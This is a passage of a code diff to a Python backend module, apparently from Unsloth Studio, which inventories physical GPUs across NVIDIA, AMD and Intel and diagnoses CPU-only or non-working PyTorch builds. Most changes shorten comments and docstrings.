cannot answer for a timed-out NVIDIA probe.unanswered: set = set()try:@@ -408,11 +283,9 @@ def _probe_physical_gpu_inventory() -> Dict[str, Any]:devices.extend(nvidia_devices)sources.append(result.get("source") or "nvidia-smi")- # Windows AMD has no vendor CLI guaranteed present (amd-smi elevates a child without a- # HIP SDK), but the DirectX registry records every adapter with its dedicated memory.+ # Windows AMD has no vendor CLI guaranteed present (amd-smi elevates a child without a HIP SDK), but the DirectX registry records every adapter with its dedicated memory.if platform.system() == "Windows":- # The registry outlives the hardware, so a record only RE-LABELS an adapter the live WMI- # scan also returned, never adds one (setup.ps1 has the same rule).+ # The registry outlives the hardware, so a record only RE-LABELS an adapter the live WMI scan also returned, never adds one (setup.ps1 has the same rule)._live = _windows_live_adapter_names()for _vendor, _vendor_id in (("amd", _AMD_PCI_VENDOR_ID),@@ -425,9 +298,7 @@ def _probe_physical_gpu_inventory() -> Dict[str, Any]:logger.debug("Windows %s adapter inventory probe failed: %s", _vendor, e)records = Noneif records is None:- # A registry key that could not be read is not "this vendor has no adapters":- # the aggregate would publish unknown=False with nothing in it, and the settled- # mismatch would collapse to no_gpu for a whole TTL.+ # A registry key that could not be read is not "this vendor has no adapters": the aggregate would publish unknown=False with nothing in it, and the settled mismatch would collapse to no_gpu for a whole TTL.unanswered.add(_vendor)continueif not records:@@ -460,9 +331,7 @@ def _probe_physical_gpu_inventory() -> Dict[str, Any]:if _corroborated and "directx-registry" not in sources:sources.append("directx-registry")- # Linux AMD, the shape #8473 actually reported. sysfs rather than amd-smi: amd-smi is a- # separate ROCm userspace package, and the ROCm install is exactly what is in question- # here; the amdgpu kernel driver publishes these files with no subprocess at all.+ # Linux AMD, the shape #8473 reported. sysfs rather than amd-smi: amd-smi is a separate ROCm userspace package and the ROCm install is what is in question, while the amdgpu kernel driver publishes these files with no subprocess.if platform.system() == "Linux":try:sysfs_devices = _linux_drm_sysfs_records(distinguish_failure = True)@@ -474,9 +343,7 @@ def _probe_physical_gpu_inventory() -> Dict[str, Any]:unanswered.update(("amd", "intel"))if sysfs_devices:if any(device.get("vendor") == "amd" for device in sysfs_devices):- # The installers only ship a ROCm wheel for _ROCM_SUPPORTED_GFX, so an older card left on- # CPU torch on purpose must not read as broken. Attached to every AMD record, not matched- # one-to-one: setup.sh says the orderings do not have to agree.+ # The installers only ship a ROCm wheel for _ROCM_SUPPORTED_GFX, so an older card left on CPU torch on purpose must not read as broken. Attached to every AMD record, not matched one-to-one: setup.sh says the orderings need not agree._gfx = _linux_amd_gfx_candidates()if _gfx:for device in sysfs_devices:@@ -491,21 +358,13 @@ def _probe_physical_gpu_inventory() -> Dict[str, Any]:"devices": devices,"sources": sources,"unknown": bool(_unanswered),- # Which vendors, not just that one exists: the cache carries the previous answer- # forward per vendor, and only a vendor named here may be carried.+ # Which vendors, not just that one exists: the cache carries the previous answer forward per vendor, and only a vendor named here may be carried."unanswered": _unanswered,}def _linux_amd_gfx_candidates() -> list[str]:- """gfx targets the ROCm userspace reports for this host, sorted, or [].-- rocminfo is what studio/setup.sh itself reads to pick an arch, and amd-smi is its- fallback there too. Neither is required to exist: a host with no ROCm userspace at- all reports nothing here, and the caller then keeps the card rather than guessing- an arch for it. Bounded and never raises; this runs inside the inventory probe,- which is cached and refreshed off the request path.- """+ """gfx targets the ROCm userspace reports for this host, sorted, or []. rocminfo is what studio/setup.sh reads to pick an arch, with amd-smi as its fallback; neither is required to exist, and a host with no ROCm userspace reports nothing, so the caller keeps the card rather than guessing an arch. Bounded and never raises."""for command, pattern in ((["rocminfo"], r"\bgfx[0-9a-f]+\b"),(["amd-smi", "static", "--asic"], r"\bgfx[0-9a-f]+\b"),@@ -532,14 +391,7 @@ def _linux_amd_gfx_candidates() -> list[str]:def _hidden_console_kwargs() -> Dict[str, Any]:- """subprocess kwargs that keep a console window from flashing on Windows.-- Imported here rather than at module scope on purpose: this module is loaded very- early, and tests/python/test_e2e_no_torch_sandbox.py executes it against a minimal- stub tree with no utils.subprocess_compat in it, so a top-level import would make- the module unloadable on a host without the rest of the package. Empty kwargs are- the correct answer everywhere but Windows anyway.- """+ """subprocess kwargs that keep a console window from flashing on Windows. Imported here rather than at module scope because test_e2e_no_torch_sandbox.py executes this module against a stub tree with no utils.subprocess_compat, and a top-level import would make it unloadable there."""try:from utils.subprocess_compat import windows_hidden_subprocess_kwargsexcept Exception:@@ -548,18 +400,12 @@ def _hidden_console_kwargs() -> Dict[str, Any]:def _windows_live_adapter_names() -> Optional[list[str]]:- """Display adapter names Windows reports as PRESENT, or None when it could not say.-- Win32_VideoController is the same live source setup.ps1 scans. None is the important- third answer: "the scan failed" must not read as "no adapters", or a corroboration- step would silently drop every real card on a host whose WMI is unavailable.- """+ """Display adapter names Windows reports as PRESENT, or None when it could not say. Win32_VideoController is the live source setup.ps1 scans; None is the important third answer, since "the scan failed" must not read as "no adapters" and drop every real card on a host with unavailable WMI."""if platform.system() != "Windows":return Nonetry:ps = (- # -ErrorAction Stop, NOT SilentlyContinue: the suppressed form exits 0 with empty- # stdout, indistinguishable from "no adapters" on a host with damaged WMI.+ # -ErrorAction Stop, NOT SilentlyContinue: the suppressed form exits 0 with empty stdout, indistinguishable from "no adapters" on a host with damaged WMI."$ErrorActionPreference='Stop';""(Get-CimInstance Win32_VideoController"' | Select-Object -ExpandProperty Name) -join "`n"'@@ -582,17 +428,11 @@ def _windows_live_adapter_names() -> Optional[list[str]]:def _claim_live_adapter(name: Optional[str], live_names: list[str]) -> Optional[int]:- """Index of the first unclaimed live adapter this record matches, or None.-- Returned rather than a bool so the caller can consume the entry: see the- same-named-duplicates note at the call site.- """+ """Index of the first unclaimed live adapter this record matches, or None. Returned rather than a bool so the caller can consume the entry."""candidate = (name or "").strip().lower()if not candidate:return None- # Exact first: a stale "RX 7900 XT" record would otherwise claim a live "RX 7900 XTX". The- # prefix rule still has to exist, because the registry carries the driver description and- # WMI the display name.+ # Exact first: a stale "RX 7900 XT" record would otherwise claim a live "RX 7900 XTX". The prefix rule still has to exist, because the registry carries the driver description and WMI the display name.for index, live in enumerate(live_names):if live.strip().lower() == candidate:return index@@ -603,13 +443,7 @@ def _claim_live_adapter(name: Optional[str], live_names: list[str]) -> Optional[def _adapter_name_is_live(name: Optional[str], live_names: list[str]) -> bool:- """Whether a registry adapter name corresponds to one the live scan returned.-- Substring in either direction, because the two sources spell the same card- differently: the registry carries the driver's own description while WMI carries the- display name, and one is often a prefix of the other. setup.ps1 joins them the same- way, with Contains.- """+ """Whether a registry adapter name corresponds to one the live scan returned. Substring in either direction, because the registry carries the driver's description and WMI the display name, and one is often a prefix of the other. setup.ps1 joins them the same way."""candidate = (name or "").strip().lower()if not candidate:return False@@ -621,27 +455,7 @@ def _adapter_name_is_live(name: Optional[str], live_names: list[str]) -> bool:def _linux_drm_sysfs_records(*, distinguish_failure: bool = False) -> "list[Dict[str, Any]] | None":- """Every AMD or Intel card the DRM drivers have bound, from /sys/class/drm.-- ``vendor`` is 0x1002 for AMD/ATI and 0x8086 for Intel, and amdgpu's- ``mem_info_vram_total`` is a byte count, both documented kernel interfaces. Intel- publishes no equivalent total on the discrete path, so an Arc card is reported with- an unknown capacity rather than left out: knowing the GPU exists is the point.- Only ``cardN`` is walked: the connector entries (``card0-DP-1``) and render nodes- point at the same device and would double-count.-- No name is reported. The kernel publishes no marketing string here, and inventing- one, or borrowing an amd-smi row whose ordering is not guaranteed to match this- walk, would attach the wrong name to a card. A card with no name still tells the- user their GPU exists, which is the whole point.-- Never raises: an unreadable or malformed file skips that card.-- ``distinguish_failure`` returns None when the walk could not be trusted, so the- inventory marks AMD and Intel unanswered rather than publishing "no cards" for a TTL.- A MISSING /sys/class/drm is an answer, not a failure. The limit: a driver that unbinds- its cards leaves the directory readable and empty, which reads as a host with none.- """+ """Every AMD (0x1002) or Intel (0x8086) card the DRM drivers have bound, from /sys/class/drm. amdgpu's mem_info_vram_total is a byte count; Intel publishes no equivalent on the discrete path, so an Arc card is reported with unknown capacity rather than left out. Only cardN is walked, since connector entries and render nodes would double-count. No name is reported: the kernel publishes none, and borrowing an amd-smi row whose ordering is not guaranteed would attach the wrong one. Never raises, and returns None when the walk could not be trusted, so the inventory marks the vendors unanswered rather than publishing "no cards" for a TTL."""root = "/sys/class/drm"unreadable = Falsetry:@@ -659,8 +473,7 @@ def _linux_drm_sysfs_records(*, distinguish_failure: bool = False) -> "list[Dictwith open(os.path.join(device, "vendor"), encoding = "utf-8") as fh:vendor = fh.read().strip().lower()except FileNotFoundError:- # A cardN with no PCI vendor is a virtual or platform device, not a card- # this walk lost.+ # A cardN with no PCI vendor is a virtual or platform device, not a card this walk lost.continueexcept OSError:unreadable = True@@ -685,8 +498,7 @@ def _linux_drm_sysfs_records(*, distinguish_failure: bool = False) -> "list[Dict})if unreadable and distinguish_failure:- # One card that could not be read makes the whole walk a partial answer, and a- # partial answer published as a complete one drops a card for a TTL.+ # One card that could not be read makes the whole walk a partial answer, and a partial answer published as a complete one drops a card for a TTL.return Nonereturn records@@ -703,15 +515,7 @@ _UNKNOWN_PHYSICAL_GPU_INVENTORY: Dict[str, Any] = {def _carry_unanswered_vendors_forward(inventory: Dict[str, Any], previous: Optional[Dict[str, Any]]) -> Dict[str, Any]:- """Re-add the devices only a vendor this pass could not ask had reported.-- A refresh that cannot reach nvidia-smi is not news that the cards left, but caching it- as the new inventory says exactly that for a TTL: the Resources tab then reports no GPU- on the same response where the sidebar says PyTorch cannot use one.-- Only for vendors in ``unanswered``: a vendor that answered "none" gave an answer, and a- card that really was removed has to be allowed to disappear.- """+ """Re-add the devices only a vendor this pass could not ask had reported: a refresh that cannot reach nvidia-smi is not news that the cards left, but cached as the new inventory it says exactly that for a TTL. Only for vendors in ``unanswered``, since a card that really was removed has to be allowed to disappear."""stale_vendors = set(inventory.get("unanswered") or ())if not stale_vendors or not previous:return inventory@@ -753,22 +557,7 @@ def _run_physical_gpu_inventory_probe() -> Dict[str, Any]:def get_physical_gpu_inventory(*, block: bool = True) -> Dict[str, Any]:- """GPUs the OS enumerates, whether or not PyTorch can use them.-- Returns ``{available, devices, sources, unknown}``. Runs regardless of ``DEVICE``- and never raises: a probe that cannot answer contributes nothing rather than- failing the caller, so an endpoint reaching here still returns a body.-- ``block=False`` for anything on a request path. The NVIDIA half shells out with a- 10 second timeout and the lock makes concurrent callers queue behind it, so a hung- or restarting driver -- the exact host this inventory exists for -- would stall the- event loop for ten seconds every time the TTL expired. /api/health and- /api/liveness both reach here through the chat-only verdict, and the desktop gives- a local request two seconds. A non-blocking caller takes the last known answer,- kicks the refresh onto a daemon thread, and gets the new value on a later call;- with nothing cached at all it gets the explicit unknown, which every consumer- already reads as "keep what you had".- """+ """GPUs the OS enumerates, whether or not PyTorch can use them: ``{available, devices, sources, unknown}``. Runs regardless of DEVICE and never raises. ``block=False`` for anything on a request path -- the NVIDIA half shells out with a 10s timeout behind a lock, so a hung driver would stall the event loop every TTL; a non-blocking caller takes the last answer, kicks a daemon-thread refresh, and gets the new value later."""now = time.monotonic()cached_entry = _physical_gpu_inventory_cacheif cached_entry is not None and now - cached_entry[0] < _PHYSICAL_GPU_INVENTORY_TTL_SECONDS:@@ -791,17 +580,7 @@ def get_physical_gpu_inventory(*, block: bool = True) -> Dict[str, Any]:def _schedule_single_flight_refresh(flag: str, refresh_lock, work_lock, run, thread_name: str, what: str) -> None:- """Run ``run`` off the caller's thread, one pass at a time.-- Single-flight through ``refresh_lock``, tried without waiting: a refresh already- running is what a second caller wants, so this returns rather than queueing a- duplicate behind it. ``work_lock`` is the blocking path's lock, so the background- pass cannot publish underneath one.-- ``flag`` names the module global holding the in-flight bit, kept a real global so a- test can reset it. Shared by the inventory and the torch snapshot, which carried- identical copies of this and would have drifted apart under a later fix.- """+ """Run ``run`` off the caller's thread, one pass at a time. Single-flight through ``refresh_lock``, tried without waiting, since a refresh already running is what a second caller wants; ``work_lock`` is the blocking path's lock, so the background pass cannot publish underneath one. ``flag`` names the module global holding the in-flight bit, kept a real global so a test can reset it."""with refresh_lock:if globals()[flag]:return@@ -838,16 +617,7 @@ def _schedule_physical_gpu_inventory_refresh() -> None:def _reported_torch_label(published: Optional[str] = None) -> Optional[str]:- """The version to show for this torch, without ever retrying a failed import.-- ``_torch_version_label()`` imports torch, and on a host whose native runtime will- not load that import is the thing that fails: it can take seconds, and _has_torch()- purges the partial module afterwards so the next attempt genuinely re-runs the- native load. /api/health and /api/liveness reach the label through the chat-only- verdict, so on exactly the host this feature exists for it would block the event- loop on every call. Whatever detection already published wins, then the label the- wheel carries on disk.- """+ """The version to show for this torch, without ever retrying a failed import: on a host whose native runtime will not load, that import is the thing that fails and _has_torch() purges the partial module so the next attempt genuinely re-runs it. Whatever detection published wins, then the label the wheel carries on disk."""if TORCH_IMPORT_ERROR is not None:return published or _installed_torch_label_on_disk() or Nonereturn _torch_version_label() or _installed_torch_label_on_disk() or None@@ -864,8 +634,7 @@ def _torch_version_label() -> Optional[str]:# A mask hides that vendor's devices and nothing else._VISIBILITY_MASK_VENDORS: Dict[str, frozenset] = {- # HIP honours CUDA_VISIBLE_DEVICES too, so an AMD-only box launched with it emptied is a- # deliberately masked host, not a broken one.+ # HIP honours CUDA_VISIBLE_DEVICES too, so an AMD-only box launched with it emptied is a deliberately masked host, not a broken one."CUDA_VISIBLE_DEVICES": frozenset({"nvidia", "amd"}),"HIP_VISIBLE_DEVICES": frozenset({"amd"}),"ROCR_VISIBLE_DEVICES": frozenset({"amd"}),@@ -874,28 +643,13 @@ _VISIBILITY_MASK_VENDORS: Dict[str, frozenset] = {def _mask_is_emptied(var: str) -> bool:- """True when ``var`` is set to a value that hides every device it addresses.-- Set-but-empty and "-1" are the two spellings; a mask NAMING devices is not this,- since that host expects those devices to work.- """+ """True when ``var`` is set to a value that hides every device it addresses: set-but-empty and "-1". A mask NAMING devices is not this, since that host expects those devices to work."""value = os.environ.get(var)return value is not None and value.strip() in ("", "-1")def _masks_hide_every_accelerator(*, block_inventory: bool = False) -> bool:- """True when the masks account for every accelerator this host has.-- Then torch reporting none is the configuration working, not a broken install, and- the whole classification is suppressed. A mask that covers only SOME of the cards- is not this: an emptied ZE_AFFINITY_MASK beside an unmasked NVIDIA GPU hides the- Arc and nothing else, and cancelling the classification there would let a CPU-only- wheel go unreported for a card the user never masked. Those cards are dropped from- the mismatch inventory instead.-- An inventory that found nothing, or could not answer, stays conservative: a mask- may well be hiding the only accelerator, and that is the case this existed for.- """+ """True when the masks account for every accelerator this host has, so torch reporting none is the configuration working. A mask covering only SOME cards is not this, or a CPU-only wheel would go unreported for a card the user never masked; those cards are dropped from the mismatch inventory instead. An inventory that found nothing, or could not answer, stays conservative."""masked = _vendors_masked_off(block_inventory = block_inventory)if not masked:return False@@ -906,9 +660,7 @@ def _masks_hide_every_accelerator(*, block_inventory: bool = False) -> bool:devices = inventory.get("devices") or []if devices:return all(device.get("vendor") in masked for device in devices)- # An inventory that could not ANSWER stays conservative; one that answered nothing has no- # card to hide. A cold non-blocking read is unknown, and an irrelevant empty mask would- # then cache "torch is fine" for a TTL, so the caching path passes block_inventory = True.+ # An inventory that could not ANSWER stays conservative; one that answered nothing has no card to hide. A cold non-blocking read is unknown, and an irrelevant empty mask would then cache "torch is fine" for a TTL, so the caching path passes block_inventory = True.return True@@ -919,10 +671,7 @@ def _vendors_masked_off(*, block_inventory: bool = False) -> set:for var in relevant:if _mask_is_emptied(var):masked |= _VISIBILITY_MASK_VENDORS.get(var, frozenset())- # HIP reads these three in order and stops at the first one SET (the precedence- # amd._first_visible_amd_gpu_id applies), so only that variable decides. Reading a- # lower-priority one would offer a repair for a host masked exactly as asked:- # HIP_VISIBLE_DEVICES=-1 beside ROCR_VISIBLE_DEVICES=0 hides every AMD card.+ # HIP reads these three in order and stops at the first one SET (the precedence amd._first_visible_amd_gpu_id applies), so only that variable decides: reading a lower-priority one would offer a repair for a host masked exactly as asked.amd_mask = next((var@@ -939,47 +688,26 @@ def _vendors_masked_off(*, block_inventory: bool = False) -> set:def _relevant_visibility_masks(*, block_inventory: bool = False) -> tuple[str, ...]:- """The visibility variables that can actually hide a GPU on THIS host.-- A mask that cannot take effect must not silence the mismatch. ROCR_VISIBLE_DEVICES- is the concrete case: Windows HIP has no ROCr layer, and this module's own- visibility resolver already ignores the variable there, so a stray empty one would- otherwise restore the "no GPU" verdict on a Windows NVIDIA host with a CPU wheel.-- The HIP-layer variables are likewise only consulted when an AMD card is actually- present, so a leftover HIP_VISIBLE_DEVICES on an NVIDIA-only box cannot mask- anything it does not address. An inventory that found nothing, or could not answer,- keeps every variable: unknown must stay conservative rather than start ignoring- masks that may well be real.- """+ """The visibility variables that can actually hide a GPU on THIS host, since a mask that cannot take effect must not silence the mismatch: Windows HIP has no ROCr layer, so a stray empty ROCR_VISIBLE_DEVICES would otherwise restore "no GPU" on a Windows NVIDIA host with a CPU wheel, and the HIP-layer variables are consulted only when an AMD card is present. An inventory that found nothing, or could not answer, keeps every variable."""masks = ["CUDA_VISIBLE_DEVICES"]hip_masks = ["HIP_VISIBLE_DEVICES"]if sys.platform != "win32":hip_masks.append("ROCR_VISIBLE_DEVICES")try:- # block=False: this is reached from the chat-only verdict, which /api/health and- # /api/liveness read. A vendor set does not change between refreshes.+ # block=False: reached from the chat-only verdict, which /api/health and /api/liveness read. A vendor set does not change between refreshes.devices = get_physical_gpu_inventory(block = block_inventory).get("devices") or []except Exception:devices = []if not devices or any(d.get("vendor") == "amd" for d in devices):masks.extend(hip_masks)- # ZE_AFFINITY_MASK is the XPU equivalent; the rest of this module already reads an- # emptied one as hiding every Intel device.+ # ZE_AFFINITY_MASK is the XPU equivalent; the rest of this module already reads an emptied one as hiding every Intel device.if not devices or any(d.get("vendor") == "intel" for d in devices):masks.append("ZE_AFFINITY_MASK")return tuple(masks)def _torch_index_leaf(url: str) -> str:- """Final path segment of a torch index URL, lowercased, query and fragment removed.-- A token-authenticated pin is supported and common (.../whl/cpu?token=...), and a raw- final-segment split sees "cpu?token=..." there, so a deliberate CPU install on a GPU- host would be reported as broken and offered a repair. Trailing slashes come off the- PATH only, or a token ending in "/" is corrupted. Mirrors the installer's- _torch_index_leaf / _trim_index_path_slashes, which the same variable is read by.- """+ """Final path segment of a torch index URL, lowercased, query and fragment removed: a token-authenticated pin (.../whl/cpu?token=...) would otherwise read as "cpu?token=..." and a deliberate CPU install be reported broken. Trailing slashes come off the PATH only, or a token ending in "/" is corrupted. Mirrors the installer's _torch_index_leaf."""value = str(url).strip().lower()if not value:return ""@@ -989,13 +717,7 @@ def _torch_index_leaf(url: str) -> str:def _stated_torch_index_source() -> str:- """The torch index this install was told to use, or "".-- URL first, and the family ONLY when no URL is set: install.sh's get_torch_index_url()- returns on UNSLOTH_TORCH_INDEX_URL without ever reading UNSLOTH_TORCH_INDEX_FAMILY, so- a family that disagrees is dead, not a second opinion. Taking either let a stale- ..._FAMILY=cpu beside a new ..._URL=.../cu128 suppress the mismatch on a CUDA host.- """+ """The torch index this install was told to use, or "". URL first, and the family ONLY when no URL is set: install.sh returns on UNSLOTH_TORCH_INDEX_URL without reading _FAMILY, so a family that disagrees is dead, not a second opinion."""url = (os.environ.get("UNSLOTH_TORCH_INDEX_URL") or "").strip()if url:return url@@ -1022,13 +744,7 @@ def _mlx_distribution_installed() -> bool:def _recorded_install_flavor() -> "tuple[str, bool]":- """``(expected_torch_tag, expected_torch_tag_pinned)`` from the venv's manifest.-- ``("", False)`` when there is no manifest, it cannot be read, or the tag is not a- string: nothing recorded is not a choice, which is the rule- install_manifest.recorded_torch_flavor documents. Read straight off disk rather than- by importing that module, which lives outside the backend package. Never raises.- """+ """``(expected_torch_tag, expected_torch_tag_pinned)`` from the venv's manifest, ``("", False)`` when there is none or it cannot be read: nothing recorded is not a choice. Read straight off disk, since install_manifest lives outside the backend package. Never raises."""try:path = os.path.join(sys.prefix, "unsloth_install_manifest.json")with open(path, encoding = "utf-8") as fh:@@ -1039,58 +755,28 @@ def _recorded_install_flavor() -> "tuple[str, bool]":return "", Falseif not isinstance(recorded, str):return "", False- # `is True`, not bool(): bool("false") is True, so a hand-edited manifest carrying the- # string would read as a deliberate pin. install_manifest's reader applies the same rule.+ # `is True`, not bool(): bool("false") is True, so a hand-edited manifest carrying the string would read as a deliberate pin. install_manifest's reader applies the same rule.return recorded.strip().lower(), pinned is Truedef _expected_cpu_flavor_was_chosen() -> bool:- """Whether THIS install deliberately selected a CPU wheel.-- Two sources, both meaning "the user named cpu": an explicit index pin set for the- running process, and the flavor the last completed install recorded in the venv's- manifest, which install_python_stack.py writes from the same expectation the- Windows flavor invariant enforces.-- Only "cpu" is acted on: an unknown or absent record means nothing was recorded and- must not be read as a choice. Never raises.- """+ """Whether THIS install deliberately selected a CPU wheel: an explicit index pin, or the flavor the last completed install recorded in the venv's manifest. Only "cpu" is acted on, since an absent record means nothing was recorded and must not read as a choice."""if _torch_index_leaf(_stated_torch_index_source()) == "cpu":return True- # A recorded cpu is not by itself a choice: setup.ps1 selects /cpu automatically on a- # GPU-less host and records it exactly as it records a pinned one.+ # A recorded cpu is not by itself a choice: setup.ps1 selects /cpu automatically on a GPU-less host and records it exactly as it records a pinned one.recorded, pinned = _recorded_install_flavor()return recorded == "cpu" and pinneddef classify_torch_build(*, block_inventory: bool = False) -> Optional[str]:- """Why this PyTorch exposes no accelerator, when the build itself is the reason.-- "torch_cpu_build" -- a CPU-only wheel: ``2.11.0+cpu``, or an untagged build- with neither ``torch.version.cuda`` nor ``.hip``. No- driver update fixes it; only reinstalling torch from- the right index does.- "torch_cuda_unavailable" -- an accelerator wheel (``+cu124``, ``+rocm6.4``,- ``+xpu``) whose runtime refuses to initialise: driver- too old, no permission on the device nodes, a cudart- that will not load. The wheel is right, the- environment is not.- None -- torch is missing, unimportable, or has a working- accelerator. Nothing to say.-- Kept as two reasons rather than one flag because the advice differs, and telling- someone with a healthy cu124 wheel to reinstall torch sends them the wrong way.- Never raises.- """- # An emptied visibility mask has the exact shape of a broken install without anything- # being broken. A mask NAMING devices is not this: that host expects those to work.+ """Why this PyTorch exposes no accelerator, when the build is the reason. "torch_cpu_build": a CPU-only wheel, or an untagged build with neither torch.version.cuda nor .hip -- only reinstalling from the right index fixes it. "torch_cuda_unavailable": an accelerator wheel whose runtime refuses to initialise (old driver, no permission on the device nodes, a cudart that will not load) -- the wheel is right, the environment is not. None: torch is missing, unimportable, or healthy. Two reasons rather than one flag, because telling someone with a healthy cu124 wheel to reinstall torch sends them the wrong way."""+ # An emptied visibility mask has the exact shape of a broken install without anything being broken. A mask NAMING devices is not this.if _masks_hide_every_accelerator(block_inventory = block_inventory):return Noneif _expected_cpu_flavor_was_chosen():return Noneif not _has_torch():- # Absent and unimportable differ, and the second is what this exists for. _has_torch()- # collapses both to False.+ # Absent and unimportable differ, and the second is what this exists for; _has_torch() collapses both to False.return _classification_from_disk_label()try:import torch@@ -1116,8 +802,7 @@ def classify_torch_build(*, block_inventory: bool = False) -> Optional[str]:# PyTorch publishes extended CPU local tags such as "2.8.0+cpu.cxx11.abi".return "torch_cpu_build"if not local and cuda_tag is None and hip_tag is None and xpu_tag is None:- # Untagged and built against no GPU runtime: the PyPI macOS/CPU wheel shape. An untagged- # wheel that DOES set version.cuda (conda) belongs in the second case.+ # Untagged and built against no GPU runtime: the PyPI macOS/CPU wheel shape. An untagged wheel that DOES set version.cuda (conda) belongs in the second case.return "torch_cpu_build"return "torch_cuda_unavailable"except Exception as e:@@ -1127,10 +812,7 @@ def classify_torch_build(*, block_inventory: bool = False) -> Optional[str]:def _classification_from_disk_label() -> Optional[str]:- """Classify from the wheel's own version label, with no interpreter started.-- ``None`` when nothing is installed to read: an absent torch is not a mismatch.- """+ """Classify from the wheel's own version label, with no interpreter started. None when nothing is installed to read: an absent torch is not a mismatch."""label = _installed_torch_label_on_disk()markers = _installed_torch_markers_on_disk()if not label and not any(markers.values()):@@ -1142,31 +824,16 @@ def _classification_from_disk_label() -> Optional[str]:return "torch_cpu_build"-# setup.ps1's rule: only Arc and Data Center GPU autodetect as XPU. An ordinary Intel-# iGPU is a display adapter, not a training device.+# setup.ps1's rule: only Arc and Data Center GPUs autodetect as XPU. An ordinary Intel iGPU is a display adapter, not a training device._XPU_ADAPTER_NAME_RE = re.compile(r"intel.*(arc|data center gpu)", re.IGNORECASE)def _devices_that_can_establish_a_mismatch(devices: list[Dict[str, Any]]) -> list[Dict[str, Any]]:- """The subset of the inventory whose presence means PyTorch OUGHT to have a GPU.-- NVIDIA and AMD qualify outright. Intel does not, by itself: setup.sh does not- autodetect Linux XPU at all, and setup.ps1 limits automatic XPU detection to Arc and- Data Center GPU by name. An Intel UHD iGPU beside a CPU wheel is the expected,- correct state of that machine, so counting it would report a mismatch and offer a- repair that reinstalls the very CPU build it just replaced.-- An Intel card still counts when it is one this stack would have installed XPU torch- for: a name that matches setup.ps1's rule, or an XPU expectation recorded for this- venv, or a torch that carries an XPU runtime. The Linux sysfs walk publishes no- name, which is exactly why the expectation and the runtime are consulted too.- """+ """The subset of the inventory whose presence means PyTorch OUGHT to have a GPU. NVIDIA and AMD qualify outright; Intel does not by itself, since setup.sh does not autodetect Linux XPU and setup.ps1 limits it to Arc and Data Center GPU by name, so counting a UHD iGPU would offer a repair that reinstalls the CPU build it just replaced. An Intel card still counts when its name matches setup.ps1's rule, or an XPU expectation is recorded, or torch carries an XPU runtime -- the Linux sysfs walk publishes no name, which is why the latter two are consulted."""xpu_expected = _expected_xpu_flavor_was_chosen() or _torch_reports_an_xpu_runtime()- # Per vendor, not host-wide: an emptied ZE_AFFINITY_MASK beside an unmasked NVIDIA- # card hides the Arc and nothing else.+ # Per vendor, not host-wide: an emptied ZE_AFFINITY_MASK beside an unmasked NVIDIA card hides the Arc and nothing else.masked_off = _vendors_masked_off()- # A ROCm expectation, or a torch carrying a HIP runtime, settles it for every AMD- # card: this stack asked for that wheel, whatever the arch table says.+ # A ROCm expectation, or a torch carrying a HIP runtime, settles it for every AMD card: this stack asked for that wheel, whatever the arch table says.rocm_expected = _expected_rocm_flavor_was_chosen() or _torch_reports_a_hip_runtime()keep: list[Dict[str, Any]] = []for device in devices:@@ -1184,9 +851,7 @@ def _devices_that_can_establish_a_mismatch(devices: list[Dict[str, Any]]) -> lisreturn keep-# The gfx targets this stack will actually install a ROCm wheel for: install.sh's-# _amd_arch_index_family_for_gfx, plus gfx906 from the ROCm 6.3 path. A card outside this-# set (Polaris gfx803, RDNA 1 gfx101x) is left on CPU torch ON PURPOSE.+# The gfx targets this stack will actually install a ROCm wheel for (install.sh's _amd_arch_index_family_for_gfx, plus gfx906 from the ROCm 6.3 path). A card outside this set (Polaris gfx803, RDNA 1 gfx101x) is left on CPU torch ON PURPOSE._ROCM_SUPPORTED_GFX = frozenset({"gfx906",@@ -1213,13 +878,7 @@ _ROCM_SUPPORTED_GFX = frozenset(def _linux_kfd_reports_an_amd_gpu() -> bool:- """Whether the KFD topology enumerates an AMD GPU node. Never raises.-- The same probe, and the same vendor guard, install_python_stack._has_rocm_gpu()- uses: gpu_id 0 is a CPU node, and the NVIDIA open kernel module registers KFD nodes- of its own with vendor_id 4318, so AMD ownership has to be confirmed rather than- assumed. A node whose properties cannot be read is skipped for that reason.- """+ """Whether the KFD topology enumerates an AMD GPU node. Never raises. The same probe and vendor guard as install_python_stack._has_rocm_gpu(): gpu_id 0 is a CPU node, and NVIDIA's open kernel module registers KFD nodes with vendor_id 4318, so AMD ownership is confirmed rather than assumed."""if platform.system() != "Linux":return Falsenodes = "/sys/class/kfd/kfd/topology/nodes"@@ -1246,13 +905,7 @@ def _linux_kfd_reports_an_amd_gpu() -> bool:def _is_pip_rocm_family_leaf(leaf: str) -> bool:- """True when a lowercased leaf names a pip ROCm family: EXACTLY rocm<digits>[.<digits>]- or gfx<digit>. install_python_stack._is_pip_rocm_family_leaf, kept in step with it.-- A suffixed leaf (rocm-rel-7.2.1, gfx-mirror) is a custom pin the installer routes- verbatim. Reading one as ROCm waives the supported-architecture filter, so a gfx803- host deliberately left on CPU torch gets told its own install is broken.- """+ """True when a lowercased leaf names a pip ROCm family: EXACTLY rocm<digits>[.<digits>] or gfx<digit>, kept in step with install_python_stack._is_pip_rocm_family_leaf. A suffixed leaf is a custom pin the installer routes verbatim, and reading one as ROCm waives the supported-architecture filter, so a gfx803 host deliberately on CPU torch would be told its install is broken."""return bool(re.fullmatch(r"rocm\d+(?:\.\d+)?", leaf)) or bool(re.match(r"gfx\d", leaf))@@ -1278,10 +931,7 @@ def _torch_reports_a_hip_runtime() -> bool:return False-# Marketing name -> gfx, mirroring setup.ps1's $nameArchTable and-# install_python_stack._WIN_GPU_NAME_ARCH_TABLE. Only names those two route to a wheel-# family: this decides whether a repair could change anything, so a card no index covers-# must not match. Most specific first.+# Marketing name -> gfx, mirroring setup.ps1's $nameArchTable and install_python_stack._WIN_GPU_NAME_ARCH_TABLE. Only names those two route to a wheel family, since this decides whether a repair could change anything. Most specific first._GPU_NAME_GFX_TABLE: "list[tuple[str, str]]" = [(r"9070|9080|R9700", "gfx1201"),(r"9060", "gfx1200"),@@ -1309,14 +959,7 @@ def _rocm_supported_gfx_from_gpu_name(name: str) -> Optional[str]:def _amd_device_can_establish_a_mismatch(device: Dict[str, Any]) -> bool:- """Whether this AMD adapter is one the installers would have given a ROCm wheel.-- A stack that deliberately declines to support a card cannot then call the CPU wheel- beside it a fault. The arch is consulted only when something could name it: the DRM- sysfs walk publishes no name, so a host with no ROCm userspace at all reports no- candidates and stays counted, which is the conservative direction and the shape the- original report had (an RX 7900 XT, which IS supported).- """+ """Whether this AMD adapter is one the installers would have given a ROCm wheel: a stack that deliberately declines a card cannot then call the CPU wheel beside it a fault. The 